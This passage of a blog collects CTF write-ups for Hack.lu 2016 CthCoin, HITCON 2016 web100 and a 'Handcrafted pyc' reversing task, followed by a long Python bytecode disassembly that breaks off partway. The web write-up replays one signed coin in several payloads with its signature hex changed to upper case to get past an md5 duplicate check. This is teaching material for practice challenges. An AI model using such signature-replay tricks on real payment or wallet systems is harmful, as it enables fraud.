Khá là noob vì mình không để ý đến source, phải mất hơn 1 tiếng sau mình mới nghĩ đến viewsource
2
và lấy được flag SVATTT{N0_m0r3_h4sh_3xtens10n_4tt4ck}

CthCoin(web100) – Hacklu2016

This challenge is so easy.
Firstly, it gives me a basic site with many page: Index, Shop, Profile, Wallet.
When we access to Shop, it gives me a list of products to purchase (include flag), but we don’t have enought money to purchase it. So I guess we should attack on this inspection.
Get something in robots.txt
2
The hidden is awesome, should we take a look with the link “/debugcoins”

3

And some hints “behind the screen”

4

So I guess this code like:

function Check_Money():
    check (AM)
    check (CU)
    check (MN)
    check (NC)
    check (OW)
    check (PK)
    check (TS)
    file_put_content("debug_file",md5(AM,CU,MN,NC,OW,PK,TS);
function Check_If_exist():
    if(file_get_content("debug_file").find(md5($_POST['coin']))):
        Coint += AM
Check_Money()
Check_If_exist()

To attack in this case, the idea is make the different md5 hash with one Sinature, so I decide to submit 4 times:
First:
{“AM”: “50”, “CU”: “NIST384”, “MN”: “F9BEB4E1”, “NC”: “066050”, “OW”: “joker1”, “PK”: “b6bd0e420b4984854d916c30108d685e70617434f2d3d82a04a9f92ff20719f74ef79d9a6825fddef8460d6d4833d2ac1e5627d52ec916223a8e051cab16b49a621e6501bf05bdee99dd1f44192876d08e1b413b7cd12d1be88e97eb6a6e1ddb”, “SIG”: “1922b39b231e6b1af63ceb366953941d8eb969836852f18834f198c65aa70728b86d2674b40f157637876330fa5dcfe688c6923e512bbf6e15b3c9c4633ef580f53451148d66e185d201ecd1f0a0275d0ff9cbea54bc21dfa008d877c9fa4f6f”, “TS”: “1477311236”}

Second:
{“AM”: “50”, “CU”: “NIST384”, “MN”: “F9BEB4E1”, “NC”: “066050”, “OW”: “joker1”, “PK”: “b6bd0e420b4984854d916c30108d685e70617434f2d3d82a04a9f92ff20719f74ef79d9a6825fddef8460d6d4833d2ac1e5627d52ec916223a8e051cab16b49a621e6501bf05bdee99dd1f44192876d08e1b413b7cd12d1be88e97eb6a6e1ddb”, “SIG”: “1922B39B231E6B1AF63CEB366953941D8EB969836852F18834F198C65AA70728B86D2674B40F157637876330FA5DCFE688C6923E512BBF6E15B3C9C4633EF580F53451148D66E185D201ECD1F0A0275D0FF9CBEA54BC21DFA008D877C9FA4F6F”, “TS”: “1477311236”}

Third:
{“AM”: “10”, “CU”: “NIST384”, “MN”: “F9BEB4E1”, “NC”: “342152”, “OW”: “joker1”, “PK”: “b6bd0e420b4984854d916c30108d685e70617434f2d3d82a04a9f92ff20719f74ef79d9a6825fddef8460d6d4833d2ac1e5627d52ec916223a8e051cab16b49a621e6501bf05bdee99dd1f44192876d08e1b413b7cd12d1be88e97eb6a6e1ddb”, “SIG”: “b4517a7023fdc76bd80074c16fd77d425222ba80a6c12fd4caf328e115ef29a0a3f6e0644b11544cdb2828a3e4061a75446bc6241170c09a8c52c02cd1f03cab6718e3c5854d5faa15963a25171f7264225dbf4a5ead11e55c75dfa98fe30107”, “TS”: “1477311236”}
Forth:
{“AM”: “10”, “CU”: “NIST384”, “MN”: “F9BEB4E1”, “NC”: “342152”, “OW”: “joker1”, “PK”: “b6bd0e420b4984854d916c30108d685e70617434f2d3d82a04a9f92ff20719f74ef79d9a6825fddef8460d6d4833d2ac1e5627d52ec916223a8e051cab16b49a621e6501bf05bdee99dd1f44192876d08e1b413b7cd12d1be88e97eb6a6e1ddb”, “SIG”: “B4517A7023FDC76BD80074C16FD77D425222BA80A6C12FD4CAF328E115EF29A0A3F6E0644B11544CDB2828A3E4061A75446BC6241170C09A8C52C02CD1F03CAB6718E3C5854D5FAA15963A25171F7264225DBF4A5EAD11E55C75DFA98FE30107”, “TS”: “1477311236”}

and get flag
1

HITCON 2016

Problem %%% (web100)

The issue of this challenge is break out SSL. When we access to this page https://52.196.116.69/index.php, The Browser give us an alert. Then I decide to check out my Certificate.

4

1

Let’s see, “very-secret-area-for-ctf.orange.tw” is service provider, I google and check out this service not in trusted SSL Cert so the browser show me this URL is not safe.

3

But domain “orange.tw” is available :

5

guess that is Local Service Provider, and the Server is at “very-secret-area-for-ctf.orange.tw”.

When I access to this server, it can’t be reached.

6

So I sure this Server is on Local Areal Network.

Finally I use tunnel from the host 52.196.116.69 to access this server

and flag is comming.

Problem Handcrafted pyc (RE50)

Decription:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import marshal, zlib, base64

exec(marshal.loads(zlib.decompress(base64.b64decode('eJyNVktv00AQXm/eL0igiaFA01IO4cIVCUGFBBJwqRAckLhEIQmtRfPwI0QIeio/hRO/hJ/CiStH2M/prj07diGRP43Hs9+MZ2fWMxbnP6mux+oK9xVMHPFViLdCTB0xkeKDFEFfTIU4E8KZq8dCvB4UlN3hGEsdddXU9QTLv1eFiGKGM4cKUgsFCNLFH7dFrS9poayFYmIZm1b0gyqxMOwJaU3r6xs9sW1ooakXuRv+un7Q0sIlLVzOCZq/XtsK2oTSYaZlStogXi1HV0iazoN2CV2HZeXqRQ54TlJRb7FUlKyUatISsdzo+P7UU1Gb1POdMruckepGwk9tIXQTftz2yBaT5JQovWvpSa6poJPuqgao+b9l5Aj/R+mLQIP4f6Q8Vb3g/5TB/TJxWGdZr9EQrmn99fwKtTvAZGU7wzS7GNpZpDm2JgCrr8wrmPoo54UqGampFIeS9ojXjc4E2yI06bq/4DRoUAc0nVnng4k6p7Ks0+j/S8z9V+NZ5dhmrJUM/y7JTJeRtnJ2TSYJvsFq3CQt/vnfqmQXt5KlpuRcIvDAmhnn2E0t9BJ3SvB/SfLWhuOWNiNVZ+h28g4wlwUp00w95si43rZ3r6+fUIEdgOZbQAsyFRRvBR6dla8KCzRdslar7WS+a5HFb39peIAmG7uZTHVm17Czxju4m6bayz8e7J40DzqM0jr0bmv9PmPvk6y5z57HU8wdTDHeiUJvBMAM4+0CpoAZ4BPgJeAYEAHmgAUgAHiAj4AVAGORtwd4AVgC3gEmgBBwCPgMWANOAQ8AbwBHgHuAp4D3gLuARwoGmNUizF/j4yDC5BWM1kNvvlxFA8xikRrBxHIUhutFMBlgQoshhPphGAXe/OggKqqb2cibxwuEXjUcQjccxi5eFRL1fDSbKrUhy2CMb2aLyepkegDWsBwPlrVC0/kLHmeCBQ=='))))

This problem is use exec function, so I google and found that object code will be load when we use marshal.loads function so

codeobject = marshal.loads(zlib.decompress(base64.b64decode('eJyNVktv00AQXm/eL0igiaFA01IO4cIVCUGFBBJwqRAckLhEIQmtRfPwI0QIeio/hRO/hJ/CiStH2M/prj07diGRP43Hs9+MZ2fWMxbnP6mux+oK9xVMHPFViLdCTB0xkeKDFEFfTIU4E8KZq8dCvB4UlN3hGEsdddXU9QTLv1eFiGKGM4cKUgsFCNLFH7dFrS9poayFYmIZm1b0gyqxMOwJaU3r6xs9sW1ooakXuRv+un7Q0sIlLVzOCZq/XtsK2oTSYaZlStogXi1HV0iazoN2CV2HZeXqRQ54TlJRb7FUlKyUatISsdzo+P7UU1Gb1POdMruckepGwk9tIXQTftz2yBaT5JQovWvpSa6poJPuqgao+b9l5Aj/R+mLQIP4f6Q8Vb3g/5TB/TJxWGdZr9EQrmn99fwKtTvAZGU7wzS7GNpZpDm2JgCrr8wrmPoo54UqGampFIeS9ojXjc4E2yI06bq/4DRoUAc0nVnng4k6p7Ks0+j/S8z9V+NZ5dhmrJUM/y7JTJeRtnJ2TSYJvsFq3CQt/vnfqmQXt5KlpuRcIvDAmhnn2E0t9BJ3SvB/SfLWhuOWNiNVZ+h28g4wlwUp00w95si43rZ3r6+fUIEdgOZbQAsyFRRvBR6dla8KCzRdslar7WS+a5HFb39peIAmG7uZTHVm17Czxju4m6bayz8e7J40DzqM0jr0bmv9PmPvk6y5z57HU8wdTDHeiUJvBMAM4+0CpoAZ4BPgJeAYEAHmgAUgAHiAj4AVAGORtwd4AVgC3gEmgBBwCPgMWANOAQ8AbwBHgHuAp4D3gLuARwoGmNUizF/j4yDC5BWM1kNvvlxFA8xikRrBxHIUhutFMBlgQoshhPphGAXe/OggKqqb2cibxwuEXjUcQjccxi5eFRL1fDSbKrUhy2CMb2aLyepkegDWsBwPlrVC0/kLHmeCBQ==')))

Convert to pyc using this code:

import marshal
import py_compile
import time
import ast

with open('output.pyc', 'wb') as fc:
    fc.write('\0\0\0\0')
    py_compile.wr_long(fc, long(time.time()))
    marshal.dump(codeobject, fc)
    fc.flush()
    fc.seek(0, 0)
    fc.write(py_compile.MAGIC)

And I have file pyc

Decompile and I have

code
argcount 0
nlocals 0
stacksize 2
flags 0040
code
6401008400005a00006501006402006b0200721f00650000830000016e00
0064000053
1 0 LOAD_CONST 1 (&lt;code object main at 0x7f4bb5cf6730, file "", line 1&gt;)
3 MAKE_FUNCTION 0
6 STORE_NAME 0 (main)

4 9 LOAD_NAME 1 (__name__)
12 LOAD_CONST 2 ('__main__')
15 COMPARE_OP 2 (==)
18 POP_JUMP_IF_FALSE 31

5 21 LOAD_NAME 0 (main)
24 CALL_FUNCTION 0
27 POP_TOP
28 JUMP_FORWARD 0 (to 31)
&gt;&gt; 31 LOAD_CONST 0 (None)
34 RETURN_VALUE
consts
None
code
argcount 0
nlocals 1
stacksize 9
flags 0043
code
740000640100830100740000640100830100740000640200830100740000
640300830100021702170217740000640400830100740000640500830100
740000640600830100740000640400830100021702170217177400006407
008301007400006408008301007400006404008301007400006402008301
00021702170217740000640900830100740000640a008301000217740000
640400830100740000640b00830100740000640c00830100021702171717
17740000640a00830100740000640d00830100740000640e008301007400
00640f008301000217021702177400006404008301007400006401008301
007400006402008301007400006410008301000217021702171774000064
090083010074000064110083010074000064020083010074000064060083
0100021702170217740000640b00830100740000640e0083010002177400
006404008301007400006412008301007400006405008301000217021717
171717740000640200830100740000641100830100740000640400830100
740000641300830100021702170217740000640b00830100740000640e00
830100740000640400830100740000640b00830100021702170217177400
00641400830100740000640d00830100740000640500830100740000640a
00830100021702170217740000640500830100740000640d008301000217
740000640800830100740000640400830100740000640a00830100021702
17171717740000640c00830100740000640900830100740000640a008301
00740000640700830100021702170217740000640400830100740000640b
008301000217740000640a00830100740000640700830100740000641500
830100021702171717740000641600830100740000640c00830100740000
641100830100740000640500830100021702170217740000641700830100
740000640500830100021774000064120083010074000064120083010074
00006412008301000217021717171717176400000971f70274010071c805
7c00006b020071ff02027d00000171e80272370674000064110083010074
0000640a00830100740000640e0083010074000064090083010002170217
0217740000641800830100740000641900830100740000640b0083010074
0000640c0083010002170217021717740000640700830100740000640400
830100740000641a00830100740000640c00830100021702170217740000
641100830100740000640400830100740000641000830100740000640c00
830100021702170217171774000064110083010074000064040083010074
0000640b00830100740000640200830100021702170217740000640e0083
0100740000641400830100740000640600830100740000640c0083010002
170217021717740000640200830100740000640400830100740000640500
830100740000640100830100021702170217740000641600830100740000
640b008301000217740000641000830100740000640d0083010074000064
040083010002170217171717177400006407008301007400006408008301
00740000640400830100740000640b00830100021702170217740000640b
00830100740000640c00830100740000640900830100740000640a008301
0002170217021717740000640a0083010074000064070083010074000064
150083010074000064040083010002170217021774000064160083010074
0000640c0083010074000064110083010074000064050083010002170217
02171717740000640b00830100740000640e008301007400006404008301
00740000640500830100021702170217740000641000830100740000640c
008301007400006407008301007400006404008301000217021702171774
0000640d0083010074000064150083010074000064040083010074000064
0d00830100021702170217740000640e0083010074000064020083010002
17740000641b00830100740000641200830100740000640b008301000217
0217171717171771a4087400006402008301007400006414008301000217
740000641a00830100740000641700830100740000641700830100021702
1717740000640d00830100740000640c0083010002177400006404008301
00740000641c0083010074000064160083010002170217171783010071ee
02740000640c00830100740000640d00830100740000641d008301000217
0217740000641400830100740000640400830100740000641e0083010074
0000640b0083010002170217021717740000641700830100740000641700
83010074000064020083010002170217740000641600830100740000640d
00830100740000640c00830100740000641a008301000217021702171717
740000641f00830100740000641f00830100740000641f00830100021702
177400006405008301007400006401008301007400006408008301007400
006404008301000217021702171774000064040083010074000064050083
010074000064170083010074000064020083010002170217021774000064
0400830100740000640700830100740000640d00830100740000640a0083
0100021702170217171717740000640200830100740000641e0083010074
000064020083010002170217740000640400830100740000641f00830100
740000640b00830100740000640e00830100021702170217177400006404
00830100740000640c008301007400006420008301000217021774000064
0400830100740000640a00830100740000640c00830100740000640b0083
01000217021702171717740000641000830100740000640d008301007400
006415008301000217021774000064210083010074000064040083010074
0000640500830100740000640a0083010002170217021717740000640500
830100740000641100830100740000640d00830100740000640c00830100
021702170217740000642200830100740000642300830100740000640400
830100740000641f0083010002170217021717171717474864000053
1 0 LOAD_GLOBAL 0 (chr)
3 LOAD_CONST 1 (108)
6 CALL_FUNCTION 1
9 LOAD_GLOBAL 0 (chr)
12 LOAD_CONST 1 (108)
15 CALL_FUNCTION 1
18 LOAD_GLOBAL 0 (chr)
21 LOAD_CONST 2 (97)
24 CALL_FUNCTION 1
27 LOAD_GLOBAL 0 (chr)
30 LOAD_CONST 3 (67)
33 CALL_FUNCTION 1
36 ROT_TWO
37 BINARY_ADD
38 ROT_TWO
39 BINARY_ADD
40 ROT_TWO
41 BINARY_ADD
42 LOAD_GLOBAL 0 (chr)
45 LOAD_CONST 4 (32)
48 CALL_FUNCTION 1
51 LOAD_GLOBAL 0 (chr)
54 LOAD_CONST 5 (101)
57 CALL_FUNCTION 1
60 LOAD_GLOBAL 0 (chr)
63 LOAD_CONST 6 (109)
66 CALL_FUNCTION 1
69 LOAD_GLOBAL 0 (chr)
72 LOAD_CONST 4 (32)
75 CALL_FUNCTION 1
78 ROT_TWO
79 BINARY_ADD
80 ROT_TWO
81 BINARY_ADD
82 ROT_TWO
83 BINARY_ADD
84 BINARY_ADD
85 LOAD_GLOBAL 0 (chr)
88 LOAD_CONST 7 (121)
91 CALL_FUNCTION 1
94 LOAD_GLOBAL 0 (chr)
97 LOAD_CONST 8 (80)
100 CALL_FUNCTION 1
103 LOAD_GLOBAL 0 (chr)
106 LOAD_CONST 4 (32)
109 CALL_FUNCTION 1
112 LOAD_GLOBAL 0 (chr)
115 LOAD_CONST 2 (97)
118 CALL_FUNCTION 1
121 ROT_TWO
122 BINARY_ADD
123 ROT_TWO
124 BINARY_ADD
125 ROT_TWO
126 BINARY_ADD
127 LOAD_GLOBAL 0 (chr)
130 LOAD_CONST 9 (104)
133 CALL_FUNCTION 1
136 LOAD_GLOBAL 0 (chr)
139 LOAD_CONST 10 (116)
142 CALL_FUNCTION 1
145 ROT_TWO
146 BINARY_ADD
147 LOAD_GLOBAL 0 (chr)
150 LOAD_CONST 4 (32)
153 CALL_FUNCTION 1
156 LOAD_GLOBAL 0 (chr)
159 LOAD_CONST 11 (110)
162 CALL_FUNCTION 1
165 LOAD_GLOBAL 0 (chr)
168 LOAD_CONST 12 (111)
171 CALL_FUNCTION 1
174 ROT_TWO
175 BINARY_ADD
176 ROT_TWO
177 BINARY_ADD
178 BINARY_ADD
179 BINARY_ADD
180 BINARY_ADD
181 LOAD_GLOBAL 0 (chr)
184 LOAD_CONST 10 (116)
187 CALL_FUNCTION 1
190 LOAD_GLOBAL 0 (chr)
193 LOAD_CONST 13 (114)
196 CALL_FUNCTION 1
199 LOAD_GLOBAL 0 (chr)
202 LOAD_CONST 14 (105)
205 CALL_FUNCTION 1
208 LOAD_GLOBAL 0 (chr)
211 LOAD_CONST 15 (118)
214 CALL_FUNCTION 1
217 ROT_TWO
218 BINARY_ADD
219 ROT_TWO
220 BINARY_ADD
221 ROT_TWO
222 BINARY_ADD
223 LOAD_GLOBAL 0 (chr)
226 LOAD_CONST 4 (32)
229 CALL_FUNCTION 1
232 LOAD_GLOBAL 0 (chr)
235 LOAD_CONST 1 (108)
238 CALL_FUNCTION 1
241 LOAD_GLOBAL 0 (chr)
244 LOAD_CONST 2 (97)
247 CALL_FUNCTION 1
250 LOAD_GLOBAL 0 (chr)
253 LOAD_CONST 16 (117)
256 CALL_FUNCTION 1
259 ROT_TWO
260 BINARY_ADD
261 ROT_TWO
262 BINARY_ADD
263 ROT_TWO
264 BINARY_ADD
265 BINARY_ADD
266 LOAD_GLOBAL 0 (chr)
269 LOAD_CONST 9 (104)
272 CALL_FUNCTION 1
275 LOAD_GLOBAL 0 (chr)
278 LOAD_CONST 17 (99)
281 CALL_FUNCTION 1
284 LOAD_GLOBAL 0 (chr)
287 LOAD_CONST 2 (97)
290 CALL_FUNCTION 1
293 LOAD_GLOBAL 0 (chr)
296 LOAD_CONST 6 (109)
299 CALL_FUNCTION 1
302 ROT_TWO
303 BINARY_ADD
304 ROT_TWO
305 BINARY_ADD
306 ROT_TWO
307 BINARY_ADD
308 LOAD_GLOBAL 0 (chr)
311 LOAD_CONST 11 (110)
314 CALL_FUNCTION 1
317 LOAD_GLOBAL 0 (chr)
320 LOAD_CONST 14 (105)
323 CALL_FUNCTION 1
326 ROT_TWO
327 BINARY_ADD
328 LOAD_GLOBAL 0 (chr)
331 LOAD_CONST 4 (32)
334 CALL_FUNCTION 1
337 LOAD_GLOBAL 0 (chr)
340 LOAD_CONST 18 (33)
343 CALL_FUNCTION 1
346 LOAD_GLOBAL 0 (chr)
349 LOAD_CONST 5 (101)
352 CALL_FUNCTION 1
355 ROT_TWO
356 BINARY_ADD
357 ROT_TWO
358 BINARY_ADD
359 BINARY_ADD
360 BINARY_ADD
361 BINARY_ADD
362 BINARY_ADD
363 LOAD_GLOBAL 0 (chr)
366 LOAD_CONST 2 (97)
369 CALL_FUNCTION 1
372 LOAD_GLOBAL 0 (chr)
375 LOAD_CONST 17 (99)
378 CALL_FUNCTION 1
381 LOAD_GLOBAL 0 (chr)
384 LOAD_CONST 4 (32)
387 CALL_FUNCTION 1
390 LOAD_GLOBAL 0 (chr)
393 LOAD_CONST 19 (73)
396 CALL_FUNCTION 1
399 ROT_TWO
400 BINARY_ADD
401 ROT_TWO
402 BINARY_ADD
403 ROT_TWO
404 BINARY_ADD
405 LOAD_GLOBAL 0 (chr)
408 LOAD_CONST 11 (110)
411 CALL_FUNCTION 1
414 LOAD_GLOBAL 0 (chr)
417 LOAD_CONST 14 (105)
420 CALL_FUNCTION 1
423 LOAD_GLOBAL 0 (chr)
426 LOAD_CONST 4 (32)
429 CALL_FUNCTION 1
432 LOAD_GLOBAL 0 (chr)
435 LOAD_CONST 11 (110)
438 CALL_FUNCTION 1
441 ROT_TWO
442 BINARY_ADD
443 ROT_TWO
444 BINARY_ADD
445 ROT_TWO
446 BINARY_ADD
447 BINARY_ADD
448 LOAD_GLOBAL 0 (chr)
451 LOAD_CONST 20 (112)
454 CALL_FUNCTION 1
457 LOAD_GLOBAL 0 (chr)
460 LOAD_CONST 13 (114)
463 CALL_FUNCTION 1
466 LOAD_GLOBAL 0 (chr)
469 LOAD_CONST 5 (101)
472 CALL_FUNCTION 1
475 LOAD_GLOBAL 0 (chr)
478 LOAD_CONST 10 (116)
481 CALL_FUNCTION 1
484 ROT_TWO
485 BINARY_ADD
486 ROT_TWO
487 BINARY_ADD
488 ROT_TWO
489 BINARY_ADD
490 LOAD_GLOBAL 0 (chr)
493 LOAD_CONST 5 (101)
496 CALL_FUNCTION 1
499 LOAD_GLOBAL 0 (chr)
502 LOAD_CONST 13 (114)
505 CALL_FUNCTION 1
508 ROT_TWO
509 BINARY_ADD
510 LOAD_GLOBAL 0 (chr)
513 LOAD_CONST 8 (80)
516 CALL_FUNCTION 1
519 LOAD_GLOBAL 0 (chr)
522 LOAD_CONST 4 (32)
525 CALL_FUNCTION 1
528 LOAD_GLOBAL 0 (chr)
531 LOAD_CONST 10 (116)
534 CALL_FUNCTION 1
537 ROT_TWO
538 BINARY_ADD
539 ROT_TWO
540 BINARY_ADD
541 BINARY_ADD
542 BINARY_ADD
543 BINARY_ADD
544 LOAD_GLOBAL 0 (chr)
547 LOAD_CONST 12 (111)
550 CALL_FUNCTION 1
553 LOAD_GLOBAL 0 (chr)
556 LOAD_CONST 9 (104)
559 CALL_FUNCTION 1
562 LOAD_GLOBAL 0 (chr)
565 LOAD_CONST 10 (116)
568 CALL_FUNCTION 1
571 LOAD_GLOBAL 0 (chr)
574 LOAD_CONST 7 (121)
577 CALL_FUNCTION 1
580 ROT_TWO
581 BINARY_ADD
582 ROT_TWO
583 BINARY_ADD
584 ROT_TWO
585 BINARY_ADD
586 LOAD_GLOBAL 0 (chr)
589 LOAD_CONST 4 (32)
592 CALL_FUNCTION 1
595 LOAD_GLOBAL 0 (chr)
598 LOAD_CONST 11 (110)
601 CALL_FUNCTION 1
604 ROT_TWO
605 BINARY_ADD
606 LOAD_GLOBAL 0 (chr)
609 LOAD_CONST 10 (116)
612 CALL_FUNCTION 1
615 LOAD_GLOBAL 0 (chr)
618 LOAD_CONST 7 (121)
621 CALL_FUNCTION 1
624 LOAD_GLOBAL 0 (chr)
627 LOAD_CONST 21 (98)
630 CALL_FUNCTION 1
633 ROT_TWO
634 BINARY_ADD
635 ROT_TWO
636 BINARY_ADD
637 BINARY_ADD
638 BINARY_ADD
639 LOAD_GLOBAL 0 (chr)
642 LOAD_CONST 22 (100)
645 CALL_FUNCTION 1
648 LOAD_GLOBAL 0 (chr)
651 LOAD_CONST 12 (111)
654 CALL_FUNCTION 1
657 LOAD_GLOBAL 0 (chr)
660 LOAD_CONST 17 (99)
663 CALL_FUNCTION 1
666 LOAD_GLOBAL 0 (chr)
669 LOAD_CONST 5 (101)
672 CALL_FUNCTION 1
675 ROT_TWO
676 BINARY_ADD
677 ROT_TWO
678 BINARY_ADD
679 ROT_TWO
680 BINARY_ADD
681 LOAD_GLOBAL 0 (chr)
684 LOAD_CONST 23 (115)
687 CALL_FUNCTION 1
690 LOAD_GLOBAL 0 (chr)
693 LOAD_CONST 5 (101)
696 CALL_FUNCTION 1
699 ROT_TWO
700 BINARY_ADD
701 LOAD_GLOBAL 0 (chr)
704 LOAD_CONST 18 (33)
707 CALL_FUNCTION 1
710 LOAD_GLOBAL 0 (chr)
713 LOAD_CONST 18 (33)
716 CALL_FUNCTION 1
719 LOAD_GLOBAL 0 (chr)
722 LOAD_CONST 18 (33)
725 CALL_FUNCTION 1
728 ROT_TWO
729 BINARY_ADD
730 ROT_TWO
731 BINARY_ADD
732 BINARY_ADD
733 BINARY_ADD
734 BINARY_ADD
735 BINARY_ADD
736 BINARY_ADD
737 LOAD_CONST 0 (None)
740 NOP
741 JUMP_ABSOLUTE 759
&gt;&gt; 744 LOAD_GLOBAL 1 (raw_input)
747 JUMP_ABSOLUTE 1480
&gt;&gt; 750 LOAD_FAST 0 (password)
753 COMPARE_OP 2 (==)
756 JUMP_ABSOLUTE 767
&gt;&gt; 759 ROT_TWO
760 STORE_FAST 0 (password)
763 POP_TOP
764 JUMP_ABSOLUTE 744
&gt;&gt; 767 POP_JUMP_IF_FALSE 1591
770 LOAD_GLOBAL 0 (chr)
773 LOAD_CONST 17 (99)
776 CALL_FUNCTION 1
779 LOAD_GLOBAL 0 (chr)
782 LOAD_CONST 10 (116)
785 CALL_FUNCTION 1
788 LOAD_GLOBAL 0 (chr)
791 LOAD_CONST 14 (105)
794 CALL_FUNCTION 1
797 LOAD_GLOBAL 0 (chr)
800 LOAD_CONST 9 (104)
803 CALL_FUNCTION 1
806 ROT_TWO
807 BINARY_ADD
808 ROT_TWO
809 BINARY_ADD
810 ROT_TWO
811 BINARY_ADD
812 LOAD_GLOBAL 0 (chr)
815 LOAD_CONST 24 (78)
818 CALL_FUNCTION 1
821 LOAD_GLOBAL 0 (chr)
824 LOAD_CONST 25 (123)
827 CALL_FUNCTION 1
830 LOAD_GLOBAL 0 (chr)
833 LOAD_CONST 11 (110)
836 CALL_FUNCTION 1
839 LOAD_GLOBAL 0 (chr)
842 LOAD_CONST 12 (111)
845 CALL_FUNCTION 1
848 ROT_TWO
849 BINARY_ADD
850 ROT_TWO
851 BINARY_ADD
852 ROT_TWO
853 BINARY_ADD
854 BINARY_ADD
855 LOAD_GLOBAL 0 (chr)
858 LOAD_CONST 7 (121)
861 CALL_FUNCTION 1
864 LOAD_GLOBAL 0 (chr)
867 LOAD_CONST 4 (32)
870 CALL_FUNCTION 1
873 LOAD_GLOBAL 0 (chr)
876 LOAD_CONST 26 (119)
879 CALL_FUNCTION 1
882 LOAD_GLOBAL 0 (chr)
885 LOAD_CONST 12 (111)
888 CALL_FUNCTION 1
891 ROT_TWO
892 BINARY_ADD
893 ROT_TWO
894 BINARY_ADD
895 ROT_TWO
896 BINARY_ADD
897 LOAD_GLOBAL 0 (chr)
900 LOAD_CONST 17 (99)
903 CALL_FUNCTION 1
906 LOAD_GLOBAL 0 (chr)
909 LOAD_CONST 4 (32)
912 CALL_FUNCTION 1
915 LOAD_GLOBAL 0 (chr)
918 LOAD_CONST 16 (117)
921 CALL_FUNCTION 1
924 LOAD_GLOBAL 0 (chr)
927 LOAD_CONST 12 (111)
930 CALL_FUNCTION 1
933 ROT_TWO
934 BINARY_ADD
935 ROT_TWO
936 BINARY_ADD
937 ROT_TWO
938 BINARY_ADD
939 BINARY_ADD
940 BINARY_ADD
941 LOAD_GLOBAL 0 (chr)
944 LOAD_CONST 17 (99)
947 CALL_FUNCTION 1
950 LOAD_GLOBAL 0 (chr)
953 LOAD_CONST 4 (32)
956 CALL_FUNCTION 1
959 LOAD_GLOBAL 0 (chr)
962 LOAD_CONST 11 (110)
965 CALL_FUNCTION 1
968 LOAD_GLOBAL 0 (chr)
971 LOAD_CONST 2 (97)
974 CALL_FUNCTION 1
977 ROT_TWO
978 BINARY_ADD
979 ROT_TWO
980 BINARY_ADD
981 ROT_TWO
982 BINARY_ADD
983 LOAD_GLOBAL 0 (chr)
986 LOAD_CONST 14 (105)
989 CALL_FUNCTION 1
992 LOAD_GLOBAL 0 (chr)
995 LOAD_CONST 20 (112)
998 CALL_FUNCTION 1
1001 LOAD_GLOBAL 0 (chr)
1004 LOAD_CONST 6 (109)
1007 CALL_FUNCTION 1
1010 LOAD_GLOBAL 0 (chr)
1013 LOAD_CONST 12 (111)
1016 CALL_FUNCTION 1
1019 ROT_TWO
1020 BINARY_ADD
1021 ROT_TWO
1022 BINARY_ADD
1023 ROT_TWO
1024 BINARY_ADD
1025 BINARY_ADD
1026 LOAD_GLOBAL 0 (chr)
1029 LOAD_CONST 2 (97)
1032 CALL_FUNCTION 1
1035 LOAD_GLOBAL 0 (chr)
1038 LOAD_CONST 4 (32)
1041 CALL_FUNCTION 1
1044 LOAD_GLOBAL 0 (chr)
1047 LOAD_CONST 5 (101)
1050 CALL_FUNCTION 1
1053 LOAD_GLOBAL 0 (chr)
1056 LOAD_CONST 1 (108)
1059 CALL_FUNCTION 1
1062 ROT_TWO
1063 BINARY_ADD
1064 ROT_TWO
1065 BINARY_ADD
1066 ROT_TWO
1067 BINARY_ADD
1068 LOAD_GLOBAL 0 (chr)
1071 LOAD_CONST 22 (100)
1074 CALL_FUNCTION 1
1077 LOAD_GLOBAL 0 (chr)
1080 LOAD_CONST 11 (110)
1083 CALL_FUNCTION 1
1086 ROT_TWO
1087 BINARY_ADD
1088 LOAD_GLOBAL 0 (chr)
1091 LOAD_CONST 16 (117)
1094 CALL_FUNCTION 1
1097 LOAD_GLOBAL 0 (chr)
1100 LOAD_CONST 13 (114)
1103 CALL_FUNCTION 1
1106 LOAD_GLOBAL 0 (chr)
1109 LOAD_CONST 4 (32)
1112 CALL_FUNCTION 1
1115 ROT_TWO
1116 BINARY_ADD
1117 ROT_TWO
1118 BINARY_ADD
1119 BINARY_ADD
1120 BINARY_ADD
1121 BINARY_ADD
1122 BINARY_ADD
1123 LOAD_GLOBAL 0 (chr)
1126 LOAD_CONST 7 (121)
1129 CALL_FUNCTION 1
1132 LOAD_GLOBAL 0 (chr)
1135 LOAD_CONST 8 (80)
1138 CALL_FUNCTION 1
1141 LOAD_GLOBAL 0 (chr)
1144 LOAD_CONST 4 (32)
1147 CALL_FUNCTION 1
1150 LOAD_GLOBAL 0 (chr)
1153 LOAD_CONST 11 (110)
1156 CALL_FUNCTION 1
1159 ROT_TWO
1160 BINARY_ADD
1161 ROT_TWO
1162 BINARY_ADD
1163 ROT_TWO
1164 BINARY_ADD
1165 LOAD_GLOBAL 0 (chr)
1168 LOAD_CONST 11 (110)
1171 CALL_FUNCTION 1
1174 LOAD_GLOBAL 0 (chr)
1177 LOAD_CONST 12 (111)
1180 CALL_FUNCTION 1
1183 LOAD_GLOBAL 0 (chr)
1186 LOAD_CONST 9 (104)
1189 CALL_FUNCTION 1
1192 LOAD_GLOBAL 0 (chr)
1195 LOAD_CONST 10 (116)
1198 CALL_FUNCTION 1
1201 ROT_TWO
1202 BINARY_ADD
1203 ROT_TWO
1204 BINARY_ADD
1205 ROT_TWO
1206 BINARY_ADD
1207 BINARY_ADD
1208 LOAD_GLOBAL 0 (chr)
1211 LOAD_CONST 10 (116)
1214 CALL_FUNCTION 1
1217 LOAD_GLOBAL 0 (chr)
1220 LOAD_CONST 7 (121)
1223 CALL_FUNCTION 1
1226 LOAD_GLOBAL 0 (chr)
1229 LOAD_CONST 21 (98)
1232 CALL_FUNCTION 1
1235 LOAD_GLOBAL 0 (chr)
1238 LOAD_CONST 4 (32)
1241 CALL_FUNCTION 1
1244 ROT_TWO
1245 BINARY_ADD
1246 ROT_TWO
1247 BINARY_ADD
1248 ROT_TWO
1249 BINARY_ADD
1250 LOAD_GLOBAL 0 (chr)
1253 LOAD_CONST 22 (100)
1256 CALL_FUNCTION 1
1259 LOAD_GLOBAL 0 (chr)
1262 LOAD_CONST 12 (111)
1265 CALL_FUNCTION 1
1268 LOAD_GLOBAL 0 (chr)
1271 LOAD_CONST 17 (99)
1274 CALL_FUNCTION 1
1277 LOAD_GLOBAL 0 (chr)
1280 LOAD_CONST 5 (101)
1283 CALL_FUNCTION 1
1286 ROT_TWO
1287 BINARY_ADD
1288 ROT_TWO
1289 BINARY_ADD
1290 ROT_TWO
1291 BINARY_ADD
1292 BINARY_ADD
1293 BINARY_ADD
